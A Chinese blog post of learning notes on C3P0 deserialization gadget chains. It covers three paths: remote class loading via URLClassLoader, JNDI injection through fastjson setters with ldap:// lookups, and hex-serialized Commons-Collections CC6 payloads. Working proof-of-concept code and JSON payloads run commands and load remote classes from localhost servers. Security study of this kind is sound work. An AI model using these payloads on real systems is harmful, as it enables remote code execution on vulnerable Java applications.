首页 > 其他分享 >C3P0链学习

C3P0链学习

时间:2024-05-31 12:10:35浏览次数:13  
标签:class C3P0 throws 学习 import new jndiName public

c3P0链学习

目录

C3P0 是一个开源的 JDBC 连接池,它实现了数据源和 JNDI 绑定,支持 JDBC3 规范和 JDBC2 的标准扩展。目前使用它的开源项目有 Hibernate,Spring 等。
环境
jdk8u65
pom.xml 如下

com.mchange c3p0 0.9.5.2

URLClassLoader 远程类加载 出网

利用条件

需要cc和fastjson的依赖

逆向分析

我们找一下什么能够去调用 URLClassLoader 加载类的方法
找到的类是 ReferenceableUtils,当中的 referenceToObject() 方法调用了 URLClassLoader 加载类的方法
我们看到他的方法

public static Object referenceToObject( Reference ref, Name name, Context nameCtx, Hashtable env)
	throws NamingException
    {
	try
	    {
		String fClassName = ref.getFactoryClassName();
		String fClassLocation = ref.getFactoryClassLocation();

		ClassLoader defaultClassLoader = Thread.currentThread().getContextClassLoader();
		if ( defaultClassLoader == null ) defaultClassLoader = ReferenceableUtils.class.getClassLoader();
		
		ClassLoader cl;
		if ( fClassLocation == null )
		    cl = defaultClassLoader;
		else
		    {
			URL u = new URL( fClassLocation );
			cl = new URLClassLoader( new URL[] { u }, defaultClassLoader );
		    }
		
		Class fClass = Class.forName( fClassName, true, cl );
		ObjectFactory of = (ObjectFactory) fClass.newInstance();
		return of.getObjectInstance( ref, name, nameCtx, env );
	    }
	catch ( Exception e )
	    {
		if (Debug.DEBUG) 
		    {
			//e.printStackTrace();
			if ( logger.isLoggable( MLevel.FINE ) )
			    logger.log( MLevel.FINE, "Could not resolve Reference to Object!", e);
		    }
		NamingException ne = new NamingException("Could not resolve Reference to Object!");
		ne.setRootCause( e );
		throw ne;
	    }
    }

会获取ref的classname和class的地址,如果我们的class地址为null,则直接使用当前线程的上下文作为classloader
如果不为null,则跟进url创建一个新的urlclassloader去加载
使用反射加载工厂类,并实例化该工厂类。
最后,调用ObjectFactory接口的getObjectInstance方法,将Reference对象转换为相应的对象实例并返回。
我们去找谁调用了referenceToObject()方法
ReferenceIndirector 类的 getObject() 方法调用了 ReferenceableUtils.referenceToObject()

public Object getObject() throws ClassNotFoundException, IOException
	{
	    try
		{
		    Context initialContext;
		    if ( env == null )
			initialContext = new InitialContext();
		    else
			initialContext = new InitialContext( env );

		    Context nameContext = null;
		    if ( contextName != null )
			nameContext = (Context) initialContext.lookup( contextName );

		    return ReferenceableUtils.referenceToObject( reference, name, nameContext, env ); 
		}
	    catch (NamingException e)
		{
		    //e.printStackTrace();
		    if ( logger.isLoggable( MLevel.WARNING ) )
			logger.log( MLevel.WARNING, "Failed to acquire the Context necessary to lookup an Object.", e );
		    throw new InvalidObjectException( "Failed to acquire the Context necessary to lookup an Object: " + e.toString() );
		}
	}
    }

首先,在try块中,代码尝试获取初始上下文(initialContext)。如果环境变量env为null,则创建一个默认的初始上下文;否则,使用带有给定环境变量的InitialContext。
接着,尝试获取名称上下文(nameContext)。如果设置了contextName,则通过initialContext查找该名称上下文。
最后,调用ReferenceableUtils类中的referenceToObject方法,传入Reference对象、名称name、名称上下文nameContext以及环境变量env,以获取对象实例并返回。

这里出现了lookup,有jndi注入的可能,但是contentname不可以控制

然后发现PoolBackedDataSourceBase#readObject() 调用了 ReferenceIndirector#getObject()
整个链子就已经完成了
在这里插入图片描述
但是我们还需要分析,对链子涉及的参数了解

其实poolBackedDataSourceBase#readObject() 调用了 ReferenceIndirector#getObject()这步远远没有那么简单,我看了半天没看懂,

正向分析

我只能通过正向去分析一下了
先给出poc

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;


import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
public class C3P01 {

    public static class C3P0 implements ConnectionPoolDataSource, Referenceable{

        @Override
        public Reference getReference() throws NamingException {
            return new Reference("Calc","Calc","http://127.0.0.1:8002/");
        }

        @Override
        public PooledConnection getPooledConnection() throws SQLException {
            return null;
        }

        @Override
        public PooledConnection getPooledConnection(String user, String password) throws SQLException {
            return null;
        }

        @Override
        public PrintWriter getLogWriter() throws SQLException {
            return null;
        }

        @Override
        public void setLogWriter(PrintWriter out) throws SQLException {

        }

        @Override
        public void setLoginTimeout(int seconds) throws SQLException {

        }

        @Override
        public int getLoginTimeout() throws SQLException {
            return 0;
        }

        @Override
        public Logger getParentLogger() throws SQLFeatureNotSupportedException {
            return null;
        }
    }






    public static void unserialize(byte[] bytes) throws Exception{
        try(ByteArrayInputStream bain = new ByteArrayInputStream(bytes);
            ObjectInputStream oin = new ObjectInputStream(bain)){
            oin.readObject();
        }
    }

    public static byte[] serialize(ConnectionPoolDataSource lp) throws Exception{
        PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
        Field connectionPoolDataSourceField = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
        connectionPoolDataSourceField.setAccessible(true);
        connectionPoolDataSourceField.set(poolBackedDataSourceBase,lp);


        try(ByteArrayOutputStream baout = new ByteArrayOutputStream();
            ObjectOutputStream oout = new ObjectOutputStream(baout)){
            oout.writeObject(poolBackedDataSourceBase);
            return baout.toByteArray();
        }

    }

    public static void main(String[] args) throws Exception{
        C3P0 exp = new C3P0();
        byte[] bytes = serialize(exp);
        unserialize(bytes);
    }

}

至于为什么会要重写那么多方法,因为自己定义了一个类,继承了ConnectionPoolDataSource , Referenceable接口,那我必须重写里面的抽象方法

然后我们正向分析一波

我们看到PoolBackedDataSourceBase类的writeObject方法
在这里插入图片描述
该方法会尝试将当前对象的connectionPoolDataSource属性进行序列化,如果不能序列化便会在catch块中对connectionPoolDataSource属性用ReferenceIndirector.indirectForm方法处理后再进行序列化操作
我们看到这个类在这里插入图片描述
发现它没有继承序列化接口,不能序列化,会进入catch
在这里插入图片描述
我们orig传入的是connectionPoolDataSource,所以会调用connectionPoolDataSource属性的getReference方法
并用返回结果作为参数实例化一个ReferenceSerialized对象,然后将ReferenceSerialized对象返回然后序列化它

我们发现这里传入的var1是我们可以控制的,也就是Reference是我们可以控制的,所以返回的ReferenceSerialized对象我们就可以控制,里面的参数我们也可以控制
然后来到readobject方法,它接收的是我们
在这里插入图片描述
它会调用 o = ((IndirectlySerialized)o).getObject();可以看到会调用序列流中的对象的getObject方法,结合上文,如果ReferenceSerialized被序列化到了序列流中,那么这里可以是ReferenceSerialized#getObject
也就是ReferenceIndirector的getobject方法
在这里插入图片描述
跟进后可以发现调用了ReferenceableUtils.referenceToObject这个静态方法,再度进行跟进
在这里插入图片描述
发现就回到了出口类了
其他var0是我们可以控制的,而classname和classlocation就是根据var0的来的
所以我们就可以开始利用了

有个getReference方法,直接返回一个Reference对象
请添加图片描述
我们可以通过该方法直接构造对象
按照getReference方法再重写一个方法

public class C3P01 {

    public static class C3P0 implements ConnectionPoolDataSource, Referenceable{

        @Override
        public Reference getReference() throws NamingException {
            return new Reference("Calc","Calc","http://127.0.0.1:8002/");
        }

        @Override
        public PooledConnection getPooledConnection() throws SQLException {
            return null;
        }

        @Override
        public PooledConnection getPooledConnection(String user, String password) throws SQLException {
            return null;
        }

        @Override
        public PrintWriter getLogWriter() throws SQLException {
            return null;
        }

        @Override
        public void setLogWriter(PrintWriter out) throws SQLException {

        }

        @Override
        public void setLoginTimeout(int seconds) throws SQLException {

        }

        @Override
        public int getLoginTimeout() throws SQLException {
            return 0;
        }

        @Override
        public Logger getParentLogger() throws SQLFeatureNotSupportedException {
            return null;
        }
    }

然后修改connectionPoolDataSource,因为是私有,还需要我们的反射

PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
        Field connectionPoolDataSourceField = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
        connectionPoolDataSourceField.setAccessible(true);
        connectionPoolDataSourceField.set(poolBackedDataSourceBase,lp);


总结

漏洞出现在PoolBackedDataSourceBase这个类的readObject中。如果反序列化得到的类是IndirectlySerialized的实例,则会调用其getObject()方法,然后将返回的类转为ConnectionPoolDataSource类,而我们通过对refenrce的控制从而控制了ConnectionPoolDataSource,让它变成了我们远程的恶意方法

复现漏洞

只需要先起一个python服务
上面放恶意的class文件

import java.io.IOException;

public class exp {
    public exp() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
}

然后运行poc就可以了

C3P0 之 JNDI 注入 出网

看着名字就知道应该是JNDI调用set或者get方法时触发了C3P0的链去触发漏洞
入口类肯定还是JNDI的method.invoke(object, value);
我们直接从出口开始分析

利用条件

需要cc和fastjson的依赖

发现者视角

在全局搜索jndi,随便进入一个类,再搜jndi的关键词,然后就随便找找方法
在这里插入图片描述
看到了这个方法:dereference()
在这里插入图片描述
发现很多loodup啊
接收的是jndiname,看看jndiname是什么东西
在这里插入图片描述
是由 this.getJndiName()的来的,我们跟进这个方法
在这里插入图片描述这个方法做了一件什么事呢?它判断了拿进来的 jndiName 是不是 Name 的类型,如果是就返回 ((Name) jndiName).clone(),若不是就返回 String
回到我们的dereference方法在这里插入图片描述
发现是可以传入string类型的
我们看看什么地方调用了dereference方法
同一个类下的 inner() 方法调用了它,而且非常多的get,set方法调用了inner
在这里插入图片描述
满足了fastjson的调用条件

正向分析

先给出链子

#修改jndiName
JndiRefConnectionPoolDataSource#setJndiName ->
JndiRefForwardingDataSource#setJndiName
 
#JNDI调用
JndiRefConnectionPoolDataSource#setLoginTime ->
WrapperConnectionPoolDataSource#setLoginTime ->
JndiRefForwardingDataSource#setLoginTimeout ->
JndiRefForwardingDataSource#inner ->
JndiRefForwardingDataSource#dereference() ->
Context#lookup

我们看到JndiRefConnectionPoolDataSource类
它里面有set方法可以为jndiname赋值

public void setJndiName( Object jndiName ) throws PropertyVetoException
{ jrfds.setJndiName( jndiName ); }
...
 
public void setJndiName( Object jndiName ) throws PropertyVetoException
	{
		Object oldVal = this.jndiName;
		if ( ! eqOrBothNull( oldVal, jndiName ) )
			vcs.fireVetoableChange( "jndiName", oldVal, jndiName );
		this.jndiName = (jndiName instanceof Name ? ((Name) jndiName).clone() : jndiName /* String */);
		if ( ! eqOrBothNull( oldVal, jndiName ) )
			pcs.firePropertyChange( "jndiName", oldVal, jndiName );
	}

所以会自动触发com.mchange.v2.c3p0.JndiRefForwardingDataSource的setJndiName,但是由于该类没有该方法就会调用其父类com.mchange.v2.c3p0.impl.JndiRefDataSourceBase的setJndiName。我们在该方法打下断点,可以看到该方法就是把this.jndiName赋值为其传入的值(恶意链接),然后就是调用setloginTimeout
在这里插入图片描述
然后进入到om.mchange.v2.c3p0.JndiRefForwardingDataSource累的setloginTimeout,调用inner方法,跟进去

请添加图片描述

继续调用dereference方法,继续跟进

在这里插入图片描述

跟进去就发现会调用我们ctx.lookup((String)jndiName),完成jndi注入
在这里插入图片描述

漏洞复现

加入依赖

<dependency>
  <groupId>com.alibaba</groupId>
  <artifactId>fastjson</artifactId>
  <version>1.2.24</version>
  </dependency>
  <!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-dbcp -->
<dependency>
  <groupId>com.mchange</groupId>
  <artifactId>c3p0</artifactId>
  <version>0.9.5.2</version>
  </dependency>

有很多方方式
JndiRefForwardingDataSource的 EXP 如下
因为是 default 作用域的类,所以不可以直接 new,这里我们直接用 fastjson 的方式去调

package JNDIVul;  
  
import com.alibaba.fastjson.JSON;  
  
// JndiRefForwardingDataSource 类的直接 EXP 调用  
public class JndiForwardingDataSourceEXP {  
    public static void main(String[] args) {  
        String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\"," +  
                "\"jndiName\":\"ldap://127.0.0.1:1230/remoteObject\",\"LoginTimeout\":\"1\"}";  
        JSON.parse(payload);  
    }  
}

在这里插入图片描述
JndiRefConnectionPoolDataSource 的 EXP 也大同小异,因为这是个 public 为作用域的类,我们可以先通过这种方式测试一下链子的可用性。

public class JndiRefConnectionPoolDataSourceTest {  
    public static void main(String[] args) throws PropertyVetoException, SQLException {  
        JndiRefConnectionPoolDataSource jndiRefConnectionPoolDataSource = new JndiRefConnectionPoolDataSource();  
        jndiRefConnectionPoolDataSource.setJndiName("ldap://127.0.0.1:1230/remoteObject");  
        jndiRefConnectionPoolDataSource.setLoginTimeout(1);  
    }  
}

或者fastjson

public class JndiRefConnectionPoolDataSourceEXP {  
    public static void main(String[] args) {  
        String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\"," +  
                "\"jndiName\":\"ldap://127.0.0.1:1230/remoteObject\",\"LoginTimeout\":\"1\"}";  
        JSON.parse(payload);  
    }  
}

![

C3P0之hex序列化 不出网

利用条件

cc和fastjson的依赖

正向分析

首先有一个类是WrapperConnectionPoolDataSource
我们看到他的构造方法
在这里插入图片描述
调用了C3P0ImplUtils.parseUserOverridesAsString
我们跟进

public static Map parseUserOverridesAsString( String userOverridesAsString ) throws IOException, ClassNotFoundException
    { 
    if (userOverridesAsString != null)
        {
        String hexAscii = userOverridesAsString.substring(HASM_HEADER.length() + 1, userOverridesAsString.length() - 1);
        byte[] serBytes = ByteUtils.fromHexAscii( hexAscii );
        return Collections.unmodifiableMap( (Map) SerializableUtils.fromByteArray( serBytes ) );
        }
    else
        return Collections.EMPTY_MAP;
    }

首先判断userOverridesAsString 是否为空,如果不为空,就对我们传入的字符进行截取,将HASM_HEADER头和最后一位的;扣掉
在这里插入图片描述

然后将十六进制转换成字节数组,然后调用SerializableUtils#fromByteArray方法解析字节数组。
我们跟进fromByteArray

public static Object fromByteArray(byte[] bytes) throws IOException, ClassNotFoundException
    { 
	Object out = deserializeFromByteArray( bytes ); 
	if (out instanceof IndirectlySerialized)
	    return ((IndirectlySerialized) out).getObject();
	else
	    return out;
    }
...
 
    public static Object deserializeFromByteArray(byte[] bytes) throws IOException, ClassNotFoundException
    {
	ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes));
	return in.readObject();
    }

我们的in就是经过处理后的16进制字节封装在一个对象中
然后去反序列化它
所以如果我们的字节内容可以控制,其实就可以造成漏洞
?????怎么从set方法调用到的,看不懂

漏洞复现

运行poc即可

package C3P0;

import com.alibaba.fastjson.JSON;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.beans.PropertyVetoException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.StringWriter;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class C3P0_Hex {

    //CC6的利用链
    public static Map CC6() throws NoSuchFieldException, IllegalAccessException {
        //使用InvokeTransformer包装一下
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

        HashMap<Object,Object> hashMap1=new HashMap<>();
        LazyMap lazyMap= (LazyMap) LazyMap.decorate(hashMap1,new ConstantTransformer(1));

        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"abc");
        HashMap<Object,Object> hashMap2=new HashMap<>();
        hashMap2.put(tiedMapEntry,"eee");
        lazyMap.remove("abc");


        //反射修改LazyMap类的factory属性
        Class clazz=LazyMap.class;
        Field factoryField= clazz.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap,chainedTransformer);

        return hashMap2;
    }


    static void addHexAscii(byte b, StringWriter sw)
    {
        int ub = b & 0xff;
        int h1 = ub / 16;
        int h2 = ub % 16;
        sw.write(toHexDigit(h1));
        sw.write(toHexDigit(h2));
    }

    private static char toHexDigit(int h)
    {
        char out;
        if (h <= 9) out = (char) (h + 0x30);
        else out = (char) (h + 0x37);
        //System.err.println(h + ": " + out);
        return out;
    }

    //将类序列化为字节数组
    public static byte[] tobyteArray(Object o) throws IOException {
        ByteArrayOutputStream bao = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bao);
        oos.writeObject(o);
        return bao.toByteArray();
    }

    //字节数组转十六进制
    public static String toHexAscii(byte[] bytes)
    {
        int len = bytes.length;
        StringWriter sw = new StringWriter(len * 2);
        for (int i = 0; i < len; ++i)
            addHexAscii(bytes[i], sw);
        return sw.toString();
    }

    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, PropertyVetoException {
        String hex = toHexAscii(tobyteArray(CC6()));
        System.out.println(hex);

        //Fastjson<1.2.47
        String payload = "{" +
                "\"1\":{" +
                "\"@type\":\"java.lang.Class\"," +
                "\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"" +
                "}," +
                "\"2\":{" +
                "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
                "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
                "}" +
                "}";
        JSON.parse(payload);


    }
}

C3P0不出网无依赖的利用

还没学,以后学。。。。

标签:class,C3P0,throws,学习,import,new,jndiName,public
From: https://www.cnblogs.com/nn0nkey/p/18224264

相关文章

  • 美团多场景多任务学习论文《HiNet: Novel Multi-Scenario & Multi-Task Learning with
    模型结构模型主要包含场景抽取层和任务抽取层(上图A):场景抽取层场景抽取层主要包括了场景共享专家(Scenario-sharedexpert)模块、当前场景特有专家(Scenario-specificexpert)模块以及场景感知注意力网络,通过这三部分的信息抽取,最终形成了场景层次的信息表征场景共享专家就是一......
  • 六、FreeRTOS学习笔记-任务挂起和恢复
    任务的挂起与恢复的API函数介绍API函数描述vTaskSuspend()挂起任务vTaskResume()恢复被挂起的任务xTaskResumeFromISR()在中断中恢复被挂起的任务1、挂起任务类似暂停,可恢复;删除任务,无法恢复2、恢复是恢复被挂起任务3、带FromISR后缀是在中断函数中专用......
  • Solidity学习-投票合约示例
    以下的合约有一些复杂,但展示了很多Solidity的语言特性。它实现了一个投票合约。当然,电子投票的主要问题是如何将投票权分配给正确的人员以及如何防止被操纵。我们不会在这里解决所有的问题,但至少我们会展示如何进行委托投票,同时,计票又是自动和完全透明的。我们的想法是......
  • [机器学习]-如何在 MacBook 上安装 LLama.cpp + LLM Model 运行环境
    如何在MacBook上安装LLama.cpp+LLMModel运行环境1.问题与需求近段时间想学习一下大语言模型的本地化部署与应用。首先遇到的就是部署硬件环境的问题。我自己的笔记本是一台MacBookProM3,没有Nvidia的GPU支持,但机器性能不错。所以打算根据网上资料尝试在自己......
  • 一起学习大模型 - embed model和 llm model 常见的搭配和考虑因素
    文章目录前言一、embedmodel和llmmodel常见的搭配和考虑因素1.词向量嵌入模型和大语言模型的选择2.具体的搭配方案3.实施细节二、弥补embedmodel和llmmodel的差异总结前言昨天和别人讨论大模型应用的时候,发现很多人存在词向量混用的情况,就是随意选embedm......
  • Springcloud学习笔记68--springboot 整合Caffeine 本地缓存
    一、本地缓存介绍缓存在日常开发中启动至关重要的作用,由于是存储在内存中,数据的读取速度是非常快的,能大量减少对数据库的访问,减少数据库的压力。之前介绍过Redis这种NoSql作为缓存组件,它能够很好的作为分布式缓存组件提供多个服务间的缓存,但是Redis这种还是需要网络开销,增......
  • 学习unigui【26】关于Unigui控件的个性化CSS框架
    用unigui写程序,简单的事用户界面不用HTML。因为这个太闹心了。没有什么技术含量,但很闹心。但是,但是不清楚HTMLCSS更闹心。因为养眼的界面是客户起步疑问和要求。强烈推荐认真读明白大虾的体验和总结:delphiUnigui框架TUniContainerPanel把CSS和界面属性对应起来后,明白怎么回事......
  • 如何看待时间序列与机器学习?
    GPT-4o时间序列与机器学习的关联在于,时间序列数据是一种重要的结构化数据形式,而机器学习则是一种强大的工具,用于从数据中提取有用的模式和信息。在很多实际应用中,时间序列与机器学习可以结合起来,发挥重要作用。首先,时间序列数据具有时序性质,这意味着数据间存在一种时间上的因......
  • 知识点整理 - 连通性相关 | 《综述图论中连通性及相关问题的一些处理方法》学习笔记
    是ix35老师论文的学习笔记,同时也用作连通性相关知识梳理。可能不会包含很多定义,只会挑重要的写。会包含一些例题。定义与记号\(u\rightsquigarrowv\)代表\(u\)到\(v\)的一条路径。有时也会用这个记号表示连通性。无向图点/边连通度:若\(u,v\)任意点割集大小不小......
  • 学习舵机
    一、舵机的“自白”我(舵机)是一种位置(角度)伺服的驱动器,适用于那些需要角度不断变化并可以保持的控制系统。那么问题来了?我们用舵机来干嘛呢,当然是控制方向了,如今,基本上飞机或者智能车又或是机器人等等都会用到舵机这个东西,所以说,认识舵机,并且运用舵机就成为我们必不可少的知识学......